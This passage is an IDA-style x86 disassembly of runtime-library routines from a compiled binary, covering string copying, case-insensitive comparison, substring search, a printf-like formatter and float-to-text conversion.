		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40008184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400081B8	proc near		; CODE XREF: sub_40014F8C+14Ep
					; sub_40014F8C+169p
		push	ebx
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, eax
		mov	ebx, esi
		test	ebx, ebx
		jz	short loc_400081CA
		sub	ebx, 4
		mov	ebx, [ebx]


loc_400081CA:				; CODE XREF: sub_400081B8+Bj
		mov	eax, esi
		call	sub_40004D48
		mov	edx, eax
		mov	ecx, ebx
		mov	eax, edi
		call	sub_40008184
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400081B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_400081E0	proc near		; CODE XREF: sub_400096A8+388p
					; sub_400096A8+39Dp ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_4000821E
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx


loc_400081F9:				; CODE XREF: sub_400081E0+3Cj
		repe cmpsb
		jz	short loc_4000821E
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_4000820A
		cmp	al, 7Ah
		ja	short loc_4000820A
		sub	al, 20h


loc_4000820A:				; CODE XREF: sub_400081E0+22j
					; sub_400081E0+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_4000821A
		cmp	dl, 7Ah
		ja	short loc_4000821A
		sub	dl, 20h


loc_4000821A:				; CODE XREF: sub_400081E0+30j
					; sub_400081E0+35j
		sub	eax, edx
		jz	short loc_400081F9


loc_4000821E:				; CODE XREF: sub_400081E0+Dj
					; sub_400081E0+1Bj
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_400081E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008224	proc near		; CODE XREF: sub_4000805C+2Fp
					; sub_4000BD04+Bp ...
		jmp	short loc_4000822E
; ---------------------------------------------------------------------------


loc_40008226:				; CODE XREF: sub_40008224+Fj
		test	cl, cl
		jnz	short loc_4000822D
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4000822D:				; CODE XREF: sub_40008224+4j
		inc	eax


loc_4000822E:				; CODE XREF: sub_40008224j
		movzx	ecx, byte ptr [eax]
		cmp	dl, cl
		jnz	short loc_40008226
		retn
sub_40008224	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008238	proc near		; CODE XREF: sub_4000BC30+3Bp
					; sub_4000BC30+7Cp
		push	edi
		push	esi
		push	ebx
		or	eax, eax
		jz	short loc_40008283
		or	edx, edx
		jz	short loc_40008283
		mov	ebx, eax
		mov	edi, edx
		xor	al, al
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		jz	short loc_40008283
		mov	esi, ecx
		mov	edi, ebx
		mov	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	ecx, esi
		jbe	short loc_40008283
		mov	edi, ebx
		lea	ebx, [esi-1]


loc_4000826B:				; CODE XREF: sub_40008238+44j
		mov	esi, edx
		lodsb
		repne scasb
		jnz	short loc_40008283
		mov	eax, ecx
		push	edi
		mov	ecx, ebx
		repe cmpsb
		pop	edi
		mov	ecx, eax
		jnz	short loc_4000826B
		lea	eax, [edi-1]
		jmp	short loc_40008285
; ---------------------------------------------------------------------------


loc_40008283:				; CODE XREF: sub_40008238+5j
					; sub_40008238+9j ...
		xor	eax, eax


loc_40008285:				; CODE XREF: sub_40008238+49j
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_40008238	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000828C	proc near		; CODE XREF: sub_4000843E+7Dp

var_34		= byte ptr -34h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h

		push	ebx
		push	esi
		push	edi
		add	esp, 0FFFFFFD8h
		mov	ebx, ecx
		mov	esi, edx
		mov	edi, eax
		cmp	ebx, 1Fh
		jbe	short loc_400082A2
		mov	ebx, 1Fh


loc_400082A2:				; CODE XREF: sub_4000828C+Fj
		mov	edx, ebx
		dec	edx
		mov	eax, esi
		call	sub_4000B938
		cmp	al, 1
		jnz	short loc_400082B1
		dec	ebx


loc_400082B1:				; CODE XREF: sub_4000828C+22j
		mov	eax, esp
		mov	ecx, ebx
		mov	edx, esi
		call	sub_40008174
		mov	[esp+ebx+34h+var_34], 0
		mov	eax, esp
		mov	[esp+34h+var_14], eax
		mov	[esp+34h+var_10], 6
		lea	edx, [esp+34h+var_14]
		mov	eax, off_4001A85C[edi*4]
		xor	ecx, ecx
		call	sub_40007998
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4000828C	endp


; =============== S U B	R O U T	I N E =======================================



sub_400082E4	proc near		; CODE XREF: sub_4000843E+114p
		push	ebx
		mov	ecx, off_4001B0B4
		cmp	dword ptr [ecx], 0
		jz	short loc_400082FC
		mov	ebx, off_4001B0B4
		mov	ebx, [ebx]
		call	ebx
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_400082FC:				; CODE XREF: sub_400082E4+Aj
		mov	al, 10h
		call	sub_40002D50
sub_400082E4	endp

; ---------------------------------------------------------------------------
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40008308	proc near		; CODE XREF: sub_40008314+D3p
		push	ebx
		mov	ebx, eax
		mov	eax, ebx
		call	sub_40004884
		pop	ebx
		retn
sub_40008308	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008314	proc near		; CODE XREF: sub_4000868C+2Ap
					; sub_400086E0+54p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= byte ptr -19h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 4000867B SIZE 0000000F BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	ebx
		xor	ebx, ebx
		mov	[ebp+var_14], ebx
		push	ebx
		push	esi
		push	edi
		mov	edi, eax
		mov	esi, ecx
		xor	eax, eax
		mov	[ebp+var_4], eax
		add	ecx, [ebp+arg_8]
		mov	[ebp+var_8], edi
		xor	eax, eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax


loc_4000833D:				; CODE XREF: sub_40008314+DDj
		or	edx, edx
		jz	short loc_4000834E


loc_40008341:				; CODE XREF: sub_40008314+38j
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		cmp	al, 25h
		jz	short loc_40008358


loc_4000834A:				; CODE XREF: sub_40008314+4Bj
		stosb
		dec	edx
		jnz	short loc_40008341


loc_4000834E:				; CODE XREF: sub_40008314+2Bj
					; sub_40008314+2Fj ...
		mov	eax, edi
		sub	eax, [ebp+var_8]
		jmp	loc_4000867B
; ---------------------------------------------------------------------------


loc_40008358:				; CODE XREF: sub_40008314+34j
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		cmp	al, 25h
		jz	short loc_4000834A
		lea	ebx, [esi-2]
		mov	[ebp+var_18], ebx


loc_40008367:				; CODE XREF: sub_40008314+70j
		mov	[ebp+var_19], al
		cmp	al, 2Dh
		jnz	short loc_40008373
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb


loc_40008373:				; CODE XREF: sub_40008314+58j
		call	sub_400083F6
		cmp	al, 3Ah
		jnz	short loc_40008386
		mov	[ebp+var_C], ebx
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		jmp	short loc_40008367
; ---------------------------------------------------------------------------


loc_40008386:				; CODE XREF: sub_40008314+66j
		mov	[ebp+var_20], ebx
		mov	ebx, 0FFFFFFFFh
		cmp	al, 2Eh
		jnz	short loc_4000839C
		cmp	esi, ecx
		jz	short loc_4000834E
		lodsb
		call	sub_400083F6


loc_4000839C:				; CODE XREF: sub_40008314+7Cj
		mov	[ebp+var_24], ebx
		mov	[ebp+var_28], esi
		push	ecx
		push	edx
		call	sub_4000843E
		pop	edx
		mov	ebx, [ebp+var_20]
		sub	ebx, ecx
		jnb	short loc_400083B3
		xor	ebx, ebx


loc_400083B3:				; CODE XREF: sub_40008314+9Bj
		cmp	[ebp+var_19], 2Dh
		jnz	short loc_400083C3
		sub	edx, ecx
		jnb	short loc_400083C1
		add	ecx, edx
		xor	edx, edx


loc_400083C1:				; CODE XREF: sub_40008314+A7j
		rep movsb


loc_400083C3:				; CODE XREF: sub_40008314+A3j
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_400083CD
		add	ecx, edx
		xor	edx, edx


loc_400083CD:				; CODE XREF: sub_40008314+B3j
		mov	al, 20h
		rep stosb
		xchg	ebx, ecx
		sub	edx, ecx
		jnb	short loc_400083DB
		add	ecx, edx
		xor	edx, edx


loc_400083DB:				; CODE XREF: sub_40008314+C1j
		rep movsb
		cmp	[ebp+var_10], 0
		jz	short loc_400083ED
		push	edx
		lea	eax, [ebp+var_10]
		call	sub_40008308
		pop	edx


loc_400083ED:				; CODE XREF: sub_40008314+CDj
		pop	ecx
		mov	esi, [ebp+var_28]
		jmp	loc_4000833D
sub_40008314	endp


; =============== S U B	R O U T	I N E =======================================



sub_400083F6	proc near		; CODE XREF: sub_40008314:loc_40008373p
					; sub_40008314+83p
		xor	ebx, ebx
		cmp	al, 2Ah
		jz	short loc_4000841E


loc_400083FC:				; CODE XREF: sub_400083F6+20j
		cmp	al, 30h
		jb	short locret_4000843D
		cmp	al, 39h
		ja	short locret_4000843D
		imul	ebx, 0Ah
		sub	al, 30h
		movzx	eax, al
		add	ebx, eax
		cmp	esi, ecx
		jz	short loc_40008418
		lodsb
		jmp	short loc_400083FC
; ---------------------------------------------------------------------------


loc_40008418:				; CODE XREF: sub_400083F6+1Dj
					; sub_400083F6+44j
		pop	eax
		jmp	loc_4000834E
; ---------------------------------------------------------------------------


loc_4000841E:				; CODE XREF: sub_400083F6+4j
		mov	eax, [ebp-0Ch]
		cmp	eax, [ebp+8]
		jg	short loc_40008438
		inc	dword ptr [ebp-0Ch]
		mov	ebx, [ebp+0Ch]
		cmp	byte ptr [ebx+eax*8+4],	0
		mov	ebx, [ebx+eax*8]
		jz	short loc_40008438
		xor	ebx, ebx


loc_40008438:				; CODE XREF: sub_400083F6+2Ej
					; sub_400083F6+3Ej
		cmp	esi, ecx
		jz	short loc_40008418
		lodsb

locret_4000843D:			; CODE XREF: sub_400083F6+8j
					; sub_400083F6+Cj
		retn
sub_400083F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4000843E	proc near		; CODE XREF: sub_40008314+90p
		and	al, 0DFh
		mov	cl, al
		mov	eax, 1
		mov	ebx, [ebp-0Ch]
		cmp	ebx, [ebp+8]
		jg	short loc_400084AB
		inc	dword ptr [ebp-0Ch]
		mov	esi, [ebp+0Ch]
		lea	esi, [esi+ebx*8]
		mov	eax, [esi]
		movzx	edx, byte ptr [esi+4]
		jmp	ds:off_40008465[edx*4]
; ---------------------------------------------------------------------------
off_40008465	dd offset loc_400084F6	; DATA XREF: sub_4000843E+20r
		dd offset loc_400084A9
		dd offset loc_4000852F
		dd offset loc_400085F6
		dd offset loc_4000855F
		dd offset loc_400085D7
		dd offset loc_400085B7
		dd offset loc_400084A9
		dd offset loc_400084A9
		dd offset loc_400084A9
		dd offset loc_40008570
		dd offset loc_4000859B
		dd offset loc_400085F2
		dd offset loc_4000853E
		dd offset loc_400084A9
		dd offset loc_40008577
		dd offset loc_400084C0
; ---------------------------------------------------------------------------


loc_400084A9:				; CODE XREF: sub_4000843E+20j
					; sub_4000843E+B6j ...
		xor	eax, eax


loc_400084AB:				; CODE XREF: sub_4000843E+Fj
		call	sub_4000866B
		mov	edx, [ebp-18h]
		mov	ecx, [ebp-28h]
		sub	ecx, edx
		mov	ebx, [ebp-4]
		call	sub_4000828C


loc_400084C0:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+67o
		lea	esi, [ebp-49h]
		mov	edx, [ebp-24h]
		cmp	edx, 20h
		jbe	short loc_400084CD
		xor	edx, edx


loc_400084CD:				; CODE XREF: sub_4000843E+8Bj
		mov	ebx, ecx
		sub	cl, 44h
		jz	sub_40007CB8
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_40007CB8
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_40007CB8
		jmp	short loc_400084A9
; ---------------------------------------------------------------------------


loc_400084F6:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E:off_40008465o
		lea	esi, [ebp-59h]
		mov	edx, [ebp-24h]
		mov	ebx, ecx
		cmp	edx, 10h
		jbe	short loc_40008505
		xor	edx, edx


loc_40008505:				; CODE XREF: sub_4000843E+C3j
		sub	cl, 44h
		jz	sub_40007C4C
		mov	ecx, 10h
		cmp	bl, 58h
		jz	sub_40007C4C
		mov	ecx, 0Ah
		cmp	bl, 55h
		jz	sub_40007C4C
		jmp	loc_400084A9
; ---------------------------------------------------------------------------


loc_4000852F:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+2Fo
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	ecx, 1
		retn
; ---------------------------------------------------------------------------


loc_4000853E:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+5Bo
		cmp	cl, 53h
		jnz	loc_400084A9
		cmp	word ptr [eax],	1
		jbe	short loc_4000855C
		mov	edx, eax
		lea	eax, [ebp-10h]
		call	sub_400082E4
		mov	esi, [ebp-10h]
		jmp	short loc_400085A6
; ---------------------------------------------------------------------------


loc_4000855C:				; CODE XREF: sub_4000843E+10Dj
					; sub_4000843E+16Aj
		xor	ecx, ecx
		retn
; ---------------------------------------------------------------------------


loc_4000855F:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+37o
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax
		lodsb
		movzx	ecx, al
		jmp	short loc_400085AD
; ---------------------------------------------------------------------------


loc_40008570:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+4Fo
		mov	esi, offset sub_40004AAC
		jmp	short loc_4000857C
; ---------------------------------------------------------------------------


loc_40008577:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+63o
		mov	esi, offset sub_40004B0C


loc_4000857C:				; CODE XREF: sub_4000843E+137j
		add	esi, [ebp-4]
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	edx, eax
		lea	eax, [ebp-14h]
		push	ebx
		mov	ebx, [ebp-4]
		call	esi
		pop	ebx
		mov	esi, [ebp-14h]
		mov	eax, esi
		jmp	short loc_400085A6
; ---------------------------------------------------------------------------


loc_4000859B:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+53o
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax


loc_400085A6:				; CODE XREF: sub_4000843E+11Cj
					; sub_4000843E+15Bj
		or	esi, esi
		jz	short loc_4000855C
		mov	ecx, [esi-4]


loc_400085AD:				; CODE XREF: sub_4000843E+130j
		cmp	ecx, [ebp-24h]
		ja	short loc_400085B3
		retn
; ---------------------------------------------------------------------------


loc_400085B3:				; CODE XREF: sub_4000843E+172j
		mov	ecx, [ebp-24h]
		retn
; ---------------------------------------------------------------------------


loc_400085B7:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+3Fo
		cmp	cl, 53h
		jnz	loc_400084A9
		mov	esi, eax
		push	edi
		mov	edi, eax
		xor	al, al
		mov	ecx, [ebp-24h]
		jecxz	short loc_400085D1
		repne scasb
		jnz	short loc_400085D1
		dec	edi


loc_400085D1:				; CODE XREF: sub_4000843E+18Cj
					; sub_4000843E+190j
		mov	ecx, edi
		sub	ecx, esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_400085D7:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+3Bo
		cmp	cl, 50h
		jnz	loc_400084A9
		mov	edx, 8
		mov	ecx, 10h
		lea	esi, [ebp-59h]
		jmp	sub_40007C4C
; ---------------------------------------------------------------------------


loc_400085F2:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+57o
		mov	bh, 1
		jmp	short loc_400085F8
; ---------------------------------------------------------------------------


loc_400085F6:				; CODE XREF: sub_4000843E+20j
					; DATA XREF: sub_4000843E+33o
		mov	bh, 0


loc_400085F8:				; CODE XREF: sub_4000843E+1B6j
		mov	esi, eax
		mov	bl, 0
		cmp	cl, 47h
		jz	short loc_40008640
		mov	bl, 1
		cmp	cl, 45h
		jz	short loc_40008640
		mov	bl, 2
		cmp	cl, 46h
		jz	short loc_40008621
		mov	bl, 3
		cmp	cl, 4Eh
		jz	short loc_40008621
		cmp	cl, 4Dh
		jnz	loc_400084A9
		mov	bl, 4


loc_40008621:				; CODE XREF: sub_4000843E+1CFj
					; sub_4000843E+1D6j
		mov	eax, 12h
		mov	edx, [ebp-24h]
		cmp	edx, eax
		jbe	short loc_40008652
		mov	edx, 2
		cmp	cl, 4Dh
		jnz	short loc_40008652
		movzx	edx, ds:byte_4001E810
		jmp	short loc_40008652
; ---------------------------------------------------------------------------


loc_40008640:				; CODE XREF: sub_4000843E+1C1j
					; sub_4000843E+1C8j
		mov	eax, [ebp-24h]
		mov	edx, 3
		cmp	eax, 12h
		jbe	short loc_40008652
		mov	eax, 0Fh


loc_40008652:				; CODE XREF: sub_4000843E+1EDj
					; sub_4000843E+1F7j ...
		push	ebx
		push	eax
		push	edx
		lea	eax, [ebp-69h]
		mov	edx, esi
		movzx	ecx, bh
		mov	ebx, [ebp-4]
		call	sub_40008800
		mov	ecx, eax
		lea	esi, [ebp-69h]
		retn
sub_4000843E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4000866B	proc near		; CODE XREF: sub_4000843E:loc_400084ABp
					; sub_40008314:loc_4000867Bp
		push	ebx
		push	eax
		lea	eax, [ebp-14h]
		mov	ebx, [ebp-4]
		call	sub_40004884
		pop	eax
		pop	ebx
		retn
sub_4000866B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40008314


loc_4000867B:				; CODE XREF: sub_40008314+3Fj
		call	sub_4000866B
		pop	edi
		pop	esi
		pop	ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_40008314
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4000868C	proc near		; CODE XREF: sub_4000ADE0+169p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		mov	edi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_400086C3
		test	esi, esi
		jz	short loc_400086C3
		mov	eax, esi
		call	sub_4000815C
		push	eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, esi
		mov	eax, ebx
		mov	edx, edi
		call	sub_40008314
		mov	byte ptr [ebx+eax], 0
		mov	eax, ebx
		jmp	short loc_400086C5
; ---------------------------------------------------------------------------


loc_400086C3:				; CODE XREF: sub_4000868C+Ej
					; sub_4000868C+12j
		xor	eax, eax


loc_400086C5:				; CODE XREF: sub_4000868C+35j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_4000868C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400086CC	proc near		; CODE XREF: sub_4000B06C+34p
					; sub_4000B128+41p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		xchg	eax, ecx
		xchg	edx, ecx
		call	sub_400086E0
		pop	ebp
		retn	4
sub_400086CC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400086E0	proc near		; CODE XREF: sub_400086CC+Ap
					; sub_40015EE4+74p

var_100C	= byte ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], edx
		mov	edi, eax
		mov	ebx, 1000h
		mov	edx, [ebp+var_4]
		mov	eax, edx
		test	eax, eax
		jz	short loc_4000870B
		sub	eax, 4
		mov	eax, [eax]


loc_4000870B:				; CODE XREF: sub_400086E0+24j
		cmp	eax, 0C00h
		jge	short loc_4000873E
		mov	eax, edx
		test	eax, eax
		jz	short loc_4000871D
		sub	eax, 4
		mov	eax, [eax]


loc_4000871D:				; CODE XREF: sub_400086E0+36j
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		lea	eax, [ebp+var_100C]
		mov	edx, 0FFFh
		call	sub_40008314
		mov	[ebp+var_C], eax
		jmp	short loc_4000874E
; ---------------------------------------------------------------------------


loc_4000873E:				; CODE XREF: sub_400086E0+30j
		mov	eax, edx
		test	eax, eax
		jz	short loc_40008749
		sub	eax, 4
		mov	eax, [eax]


loc_40008749:				; CODE XREF: sub_400086E0+62j
		mov	ebx, eax
		mov	[ebp+var_C], ebx


loc_4000874E:				; CODE XREF: sub_400086E0+5Cj
		mov	eax, ebx
		dec	eax
		cmp	eax, [ebp+var_C]
		jg	short loc_400087A3
		jmp	short loc_4000878F
; ---------------------------------------------------------------------------


loc_40008758:				; CODE XREF: sub_400086E0+B5j
		add	ebx, ebx
		mov	eax, edi
		call	sub_40004884
		mov	eax, edi
		mov	edx, ebx
		call	sub_40004F74
		mov	esi, [ebp+var_4]
		test	esi, esi
		jz	short loc_40008776
		sub	esi, 4
		mov	esi, [esi]


loc_40008776:				; CODE XREF: sub_400086E0+8Fj
		push	esi
		mov	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, ebx
		dec	edx
		mov	eax, [edi]
		call	sub_40008314
		mov	[ebp+var_C], eax


loc_4000878F:				; CODE XREF: sub_400086E0+76j
		mov	eax, ebx
		dec	eax
		cmp	eax, [ebp+var_C]
		jle	short loc_40008758
		mov	eax, edi
		mov	edx, [ebp+var_C]
		call	sub_40004F74
		jmp	short loc_400087B3
; ---------------------------------------------------------------------------


loc_400087A3:				; CODE XREF: sub_400086E0+74j
		lea	edx, [ebp+var_100C]
		mov	eax, edi
		mov	ecx, [ebp+var_C]
		call	sub_40004974


loc_400087B3:				; CODE XREF: sub_400086E0+C1j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_400086E0	endp


; =============== S U B	R O U T	I N E =======================================



sub_400087BC	proc near		; CODE XREF: sub_40008909+8Dp
		push	esi
		xor	esi, esi
		stosb
		or	bl, bl
		jnz	short loc_400087C8
		xor	edx, edx
		jmp	short loc_400087D2
; ---------------------------------------------------------------------------


loc_400087C8:				; CODE XREF: sub_400087BC+6j
		or	edx, edx
		jge	short loc_400087D2
		mov	al, 2Dh
		neg	edx
		jmp	short loc_400087D8
; ---------------------------------------------------------------------------


loc_400087D2:				; CODE XREF: sub_400087BC+Aj
					; sub_400087BC+Ej
		or	ah, ah
		jz	short loc_400087D9
		mov	al, ah


loc_400087D8:				; CODE XREF: sub_400087BC+14j
		stosb


loc_400087D9:				; CODE XREF: sub_400087BC+18j
		xchg	eax, edx
		push	eax
		mov	ebx, esp


loc_400087DD:				; CODE XREF: sub_400087BC+32j
					; sub_400087BC+36j
		xor	edx, edx
		div	flt_4001A870[esi]
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_400087DD
		or	ecx, ecx
		jg	short loc_400087DD


loc_400087F4:				; CODE XREF: sub_400087BC+3Ej
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_400087F4
		pop	eax
		pop	esi
		retn
sub_400087BC	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40008800	proc near		; CODE XREF: sub_4000843E+222p
					; sub_40008E14+17p ...

var_2C		= word ptr -2Ch
var_29		= byte ptr -29h
var_14		= dword	ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

; FUNCTION CHUNK AT 40008ACD SIZE 00000006 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	al, ds:byte_4001E80F
		mov	[ebp+var_5], al
		mov	al, ds:byte_4001E80E
		mov	[ebp+var_6], al
		mov	eax, ds:dword_4001E808
		mov	[ebp+var_C], eax
		mov	al, ds:byte_4001E80C
		mov	[ebp+var_D], al
		mov	al, ds:byte_4001E80D
		mov	[ebp+var_E], al
		mov	[ebp+var_14], 0
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_4000885C
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_40008852
		mov	eax, 2


loc_40008852:				; CODE XREF: sub_40008800+4Bj
		cmp	eax, 12h
		jle	short loc_4000885C
		mov	eax, 12h


loc_4000885C:				; CODE XREF: sub_40008800+43j
					; sub_40008800+55j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_4000886E
		mov	eax, [ebp+arg_0]


loc_4000886E:				; CODE XREF: sub_40008800+69j
		push	eax
		lea	eax, [ebp+var_2C]
		call	sub_40008AD4
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_2C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_400088A2
		mov	ecx, eax
		call	sub_400088FF
		lea	esi, dword_400088F0[ecx+ecx*2]
		add	esi, [ebp+var_14]
		mov	ecx, 3
		rep movsb
		jmp	short loc_400088CF
; ---------------------------------------------------------------------------


loc_400088A2:				; CODE XREF: sub_40008800+86j
		lea	esi, [ebp+var_29]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_400088BE
		cmp	bl, 4
		ja	short loc_400088BC
		movsx	eax, [ebp+var_2C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_400088BE


loc_400088BC:				; CODE XREF: sub_40008800+B1j
		mov	bl, 0


loc_400088BE:				; CODE XREF: sub_40008800+ACj
					; sub_40008800+BAj
		lea	ebx, off_400088DC[ebx*4]
		add	ebx, [ebp+var_14]
		mov	ebx, [ebx]
		add	ebx, [ebp+var_14]
		call	ebx


loc_400088CF:				; CODE XREF: sub_40008800+A0j
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		jmp	loc_40008ACD
sub_40008800	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
off_400088DC	dd offset sub_40008909	; DATA XREF: sub_40008800:loc_400088BEo
		dd offset loc_40008965
		dd offset sub_4000899C
		dd offset sub_4000899C
		dd offset sub_40008A06
dword_400088F0	dd 4E464E49h	; ---------------------------------------------------------------------------
		inc	ecx
		dec	esi

; =============== S U B	R O U T	I N E =======================================



sub_400088F6	proc near		; CODE XREF: sub_40008909+61p
					; sub_40008909:loc_40008978p ...
		lodsb
		or	al, al
		jnz	short locret_400088FE
		mov	al, 30h
		dec	esi

locret_400088FE:			; CODE XREF: sub_400088F6+3j
		retn
sub_400088F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_400088FF	proc near		; CODE XREF: sub_40008800+8Ap
					; sub_40008909p ...
		cmp	byte ptr [ebp-2Ah], 0
		jz	short locret_40008908
		mov	al, 2Dh
		stosb

locret_40008908:			; CODE XREF: sub_400088FF+4j
		retn
sub_400088FF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40008909	proc near		; DATA XREF: .text:off_400088DCo
		call	sub_400088FF
		movsx	ecx, word ptr [ebp-2Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_40008936
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_40008936
		or	ecx, ecx
		jg	short loc_4000893C
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_40008964
		mov	al, [ebp-5]
		stosb
		neg	ecx
		mov	al, 30h
		rep stosb
		jmp	short loc_40008950
; ---------------------------------------------------------------------------


loc_40008936:				; CODE XREF: sub_40008909+Ej
					; sub_40008909+13j
		mov	ecx, 1
		inc	edx


loc_4000893C:				; CODE XREF: sub_40008909+17j
					; sub_40008909+39j
		lodsb
		or	al, al
		jz	short loc_40008958
		stosb
		loop	loc_4000893C
		lodsb
		or	al, al
		jz	short loc_4000895C
		mov	ah, al
		mov	al, [ebp-5]
		stosw


loc_40008950:				; CODE XREF: sub_40008909+2Bj
					; sub_40008909+4Dj
		lodsb
		or	al, al
		jz	short loc_4000895C
		stosb
		jmp	short loc_40008950
